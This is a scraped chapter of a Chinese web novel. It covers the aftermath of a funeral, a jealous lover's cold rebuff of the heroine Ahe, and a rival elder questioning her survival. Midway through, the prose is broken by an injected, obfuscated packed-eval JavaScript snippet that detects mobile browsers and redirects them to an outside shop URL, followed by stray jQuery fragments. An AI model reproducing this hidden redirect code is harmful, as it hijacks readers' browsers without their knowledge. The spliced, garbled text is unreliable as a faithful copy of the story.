第611章 我与姑娘非亲非故

作品:《客栈通古今:假千金靠倒卖物资暴富

    “为总舵主和香主报仇!”


    “报仇!”


    群情激愤,悲恸化作了力量,所有人都攥紧了拳头,嘶声怒吼。


    阿禾直起身,看着这一张张被泪水和激愤充斥的脸,心中明白,从这一刻起,千斤的重担,真正落在了自己肩上。


    ……


    众人渐渐散去,各自去忙城防与后续事宜。


    灵堂里只剩下阿禾和几个心腹。


    她安排好诸般事务,只觉得身心俱疲,但心里还记挂着一件事。


    她独自一人穿过回廊,来到后院一处僻静的客房前。


    姚祁被安排在另一处院落,而王之则以“眼盲不便,喜静”为由住在了这里。


    她抬手,正要敲门,门内却先一步传来了王之那温和却冷淡的声音。


    “谁?”


    “是我,阿禾。”阿禾应道,“你……歇下了吗?我来看看你。”


    门内沉默了片刻。


    “哦?是阿禾姑娘。”那声音依旧温和,却平白透出几分疏离,“在下正在更衣,多有不便。姑娘还是请回吧。”


    阿禾一愣,有点挠头:


    “啊,那……那你先忙,我晚点再……”


    “不必了。”王之冷淡地打断了她,“在下乏了,想早些歇息。姑娘若无要事,改日再说不迟。”


    这拒人于千里之外的语气,让阿禾心头一梗。


    她站在门外,有些不知所措。


    她想了想,还是隔着门继续道:“是不是舟车劳顿,有什么不舒坦的地方?”


    门里传来一声极轻的嗤笑,那笑声温润,却带着刺骨的寒意。


    “姑娘多虑了。我与姑娘非亲非故,不过是萍水相逢的普通朋友,姑娘不必对我多加在意。”


    阿禾砸吧砸吧嘴。


    这个时候还听不出来生气了,那可就真该**。


    她正想再解释两句,门内的王之却又悠悠地开了口。


    “倒是那位姚兄……我听人说,他一来,便被姑娘奉为上宾。”他的声音慢条斯理,讥讽意味明显,“姑娘与他关系匪浅,甚至于好到……都不敢当着他的面,说出我们的关系?”


    阿禾的脑子“嗡”的一声,只觉得一个头两个大。


    果然,他在生那句话的气呢。


    “还是说……我只是个瞎子,上不得台面,和你的一切,也不过露水情缘……你本不打算负责,是不是?”


    “没有!”阿禾急了,脱口而出,“你胡思乱想什么,我不许你这么说自己……我跟姚祁……我跟他……”


    她想解释,却发现自己根本无从解释。


    她和姚祁的关系,哪里是三言两语说得清的?


    当初不告而别,本就是她理亏在先,如今重逢,三人修罗场又格外诡异。


    最关键是她自己都一团乱麻,有些事有些话都是下意识的,回过神来她也不知为何如此,只觉得可能很多事,也许是前缘早定,如今再见,都是宿命安排。


    阿禾靠在门框上,想到此处,便觉得宿命安排的感觉愈发明显。


    她自己想不明白,更无法对门内生气的这个人儿解释。


    要怎么告诉他,他跟自己之间,那种宿命的感觉比姚祁还要明显。


    但姚祁也很重要,重要到三个人站在一起,还没做什么,事情就好像先一团乱麻了……


    思来想去,阿禾只觉得百口莫辩,最后只能化作一句苍白的道歉,“对不起,都是我的不是,我……”


    “姑娘不必道歉。”


    王之的声音彻底冷了下来,再无半分温度。


    “时辰不早了,姑娘请回吧。我一个废人,就不耽误总舵主处理要务了。”


    说完这句,门内便再无声息。


    任凭阿禾如何再开口,里面都像是没有人一般,死寂一片。


    阿禾在门外站了许久,最终只能带着满心的烦躁与歉意,转身离去。


    吊梢眼他们还等着她商议大计,至于阿之这边,只能改日再来解释了。


    ……


    府衙的回廊幽深,烛火在风中摇曳,将人的影子拉得忽长忽短。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17044823|165820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>就在她拐过一道月亮门,准备前往议事的正堂时,一道身影忽然从廊柱的阴影里走了出来,恰好拦住了她的去路。


    这是个四十岁上下的男子,身形微胖,穿着一身暗纹锦袍,手指上戴着个硕大的玉扳指,脸上堆着笑,一双小眼睛里却闪烁着精明的光,瞧着不像山野草莽,倒更像个走南闯北的商贾。


    “阿禾姑娘,留步。”他对着阿禾拱了拱手,笑容可掬。


    阿禾停下脚步,警惕地打量着他:“您是?”


    “在下姓周,单名一个全字。”男子脸上的笑意更深了些,“侥幸在青屏山里混了个香主当当。如今程香主他们都……唉,算起来,这山上,也就只剩下我一个香主了。”


    他这番话,看似在唏嘘感怀,实则不着痕迹地表明了自己的身份,又点明了自己是这群人里硕果仅存的“旧臣元老”。


    阿禾心中了然,面上却不动声色:“原来是周香主,失敬。我正要去正堂议事,周香主有事?”


    “正为议事而来。”周全脸上的笑容收敛了些,换上了一副沉痛的表情,“方才在灵堂上,人多嘴杂,不好细问。总舵主和程香主……究竟是如何遭难的?刀疤兄弟说得笼统,只讲是卫家偷袭,可破庙那地方易守难攻,怎么会败得如此之快?”


    阿禾的眉头微微蹙起:“周香主,方才在灵前,刀疤已经说得很清楚了。”


    “清楚?”周全像是听到了什么笑话,他上前一步,声音也压低了些,带着股咄咄逼人的味道,“恕我直言,阿禾姑娘,我只听到总舵主和程香主没了,听到是你找出凶手,听到程香主临终托付。可我没听到,当卫家的人杀进来的时候,阿禾姑娘你在做什么?为何总舵主和程香主都**,你……却能安然无恙地回来?”


    这番话,已是赤裸裸的质问。


    阿禾慢慢沉下脸,冷冷地看着他:“周香主这是在怀疑我?”


    “不敢。”周全连忙摆手,脸上却毫无惧意,反而步步紧逼,“我只是替死去的总舵主和弟兄们问一句。毕竟这总舵主的位置不是儿戏。”